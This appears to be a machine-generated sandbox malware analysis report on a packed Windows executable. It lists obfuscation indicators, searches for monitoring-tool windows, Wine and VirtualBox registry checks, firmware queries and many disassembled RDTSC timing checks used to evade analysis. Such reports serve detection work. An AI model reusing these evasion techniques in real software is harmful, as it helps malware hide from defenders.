Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 2992640 > 1048576

Source: file.exe

Static PE information: Raw size of ahmbizus is bigger than: 0x100000 < 0x2af400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.e20000.0.unpack :EW;.rsrc :W;.idata :W;ahmbizus:EW;agbvvjmq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ahmbizus:EW;agbvvjmq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2e7eb6 should be: 0x2e5d13

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ahmbizus
Source: file.exe	Static PE information: section name: agbvvjmq
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0087A3EF push edx; retf	0_3_0087A3F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0088174B push edi; retf	0_3_0088175D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0088174B push edi; retf	0_3_0088175D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0088174B push edi; retf	0_3_0088175D

Source: file.exe

Static PE information: section name: entropy: 7.9816439961533785

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F44C second address: E7F450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F450 second address: E7F46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39B477F4E5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEA21 second address: FEEA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEA27 second address: FEEA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B477F4DEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8645 second address: FF8653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F39B537D7E6h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8653 second address: FF865E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F39B477F4D6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF865E second address: FF866A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F39B537D7E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF87D3 second address: FF87D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB978 second address: FFB97C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB9AD second address: FFB9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F39B477F4D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB9B8 second address: FFBA1A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F39B537D7ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, dword ptr [ebp+122D2036h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F39B537D7E8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f stc 0x00000030 call 00007F39B537D7E9h 0x00000035 jmp 00007F39B537D7EAh 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F39B537D7EDh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBA1A second address: FFBA20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBA20 second address: FFBA2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B537D7EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBA2E second address: FFBA68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F39B477F4E7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBA68 second address: FFBAA4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F39B537D7E6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jne 00007F39B537D7F4h 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jl 00007F39B537D7F8h 0x00000026 push eax 0x00000027 push edx 0x00000028 jg 00007F39B537D7E6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBAA4 second address: FFBAA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBAA8 second address: FFBB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dl, 00000002h 0x0000000a push 00000003h 0x0000000c mov si, ax 0x0000000f push 00000000h 0x00000011 mov dx, 152Fh 0x00000015 push 00000003h 0x00000017 mov ecx, dword ptr [ebp+122D2F1Eh] 0x0000001d push 79C4ECE0h 0x00000022 jmp 00007F39B537D7EAh 0x00000027 add dword ptr [esp], 463B1320h 0x0000002e adc ecx, 2E29BBB8h 0x00000034 lea ebx, dword ptr [ebp+124507DCh] 0x0000003a mov edi, eax 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e jnl 00007F39B537D7E8h 0x00000044 jnl 00007F39B537D7E8h 0x0000004a popad 0x0000004b push eax 0x0000004c pushad 0x0000004d push ecx 0x0000004e push edi 0x0000004f pop edi 0x00000050 pop ecx 0x00000051 push eax 0x00000052 push edx 0x00000053 jng 00007F39B537D7E6h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBB0A second address: FFBB0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBB7C second address: FFBB80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBC5A second address: FFBC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D8C1 second address: 100D8C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D8C7 second address: 100D8F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F39B477F4E4h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF21DC second address: FF21E8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007F39B537D7E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF21E8 second address: FF21FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E1h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B913 second address: 101B922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F39B537D7E6h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B922 second address: 101B937 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39B477F4D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F39B477F4D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B937 second address: 101B93B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BF15 second address: 101BF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F39B477F4E0h 0x0000000a jng 00007F39B477F4DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C4FD second address: 101C503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C63F second address: 101C64E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE980B second address: FE980F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D112 second address: 101D11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D11B second address: 101D125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F39B537D7E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D125 second address: 101D186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F39B477F4E4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F39B477F4F0h 0x00000011 jmp 00007F39B477F4E8h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push edx 0x0000001d pop edx 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F39B477F4E0h 0x00000025 jmp 00007F39B477F4DEh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D186 second address: 101D1AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F39B537D7F8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D1AE second address: 101D1B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D495 second address: 101D4AF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B537D7ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F39B537D7E8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D636 second address: 101D63A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D63A second address: 101D640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D640 second address: 101D659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4E3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D659 second address: 101D65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D8EA second address: 101D8F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D8F0 second address: 101D8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101D8F4 second address: 101D91F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F39B477F4E0h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020AA6 second address: 1020AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FB6C second address: 101FB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0636 second address: FF0667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F39B537D7E6h 0x0000000a jmp 00007F39B537D7F5h 0x0000000f jmp 00007F39B537D7F1h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0667 second address: FF066C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102863E second address: 1028658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F39B537D7F4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028943 second address: 1028948 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028948 second address: 102894E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028AB3 second address: 1028AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028AB7 second address: 1028ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F39B537D7E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F39B537D7F4h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028ADE second address: 1028B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jnc 00007F39B477F4E9h 0x0000000d jg 00007F39B477F4E8h 0x00000013 jmp 00007F39B477F4E0h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c ja 00007F39B477F4D6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028F09 second address: 1028F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028F0F second address: 1028F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028F18 second address: 1028F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10290A4 second address: 10290AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10290AC second address: 10290B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10290B5 second address: 10290BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10290BB second address: 10290DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F39B537D7EEh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10290DD second address: 10290F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F39B477F4E5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AB76 second address: 102AB7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AB7D second address: 102ABB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 26012894h 0x0000000e adc esi, 5F0B8E8Eh 0x00000014 call 00007F39B477F4D9h 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c pop eax 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push esi 0x00000021 jng 00007F39B477F4D6h 0x00000027 pop esi 0x00000028 popad 0x00000029 push eax 0x0000002a pushad 0x0000002b jns 00007F39B477F4D8h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102ABB7 second address: 102ABEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F39B537D7F2h 0x00000014 jmp 00007F39B537D7F3h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102ABEC second address: 102AC13 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F39B477F4D6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jmp 00007F39B477F4E5h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AC13 second address: 102AC19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AC19 second address: 102AC1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AC1D second address: 102AC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F39B537D7ECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B2D2 second address: 102B2D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B423 second address: 102B42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B839 second address: 102B840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BD5E second address: 102BDCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B537D7EAh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F39B537D7E8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D2992h], ebx 0x00000030 push edi 0x00000031 jng 00007F39B537D7E9h 0x00000037 mov di, bx 0x0000003a pop esi 0x0000003b xchg eax, ebx 0x0000003c jmp 00007F39B537D7F2h 0x00000041 push eax 0x00000042 push edi 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F39B537D7F7h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CCF4 second address: 102CD43 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F39B477F4DEh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov di, bx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F39B477F4D8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov dword ptr [ebp+1244EEF2h], esi 0x00000031 push 00000000h 0x00000033 add di, 0DACh 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CB5E second address: 102CB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7F8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD43 second address: 102CD4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F39B477F4D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CB7B second address: 102CB81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD4E second address: 102CD54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
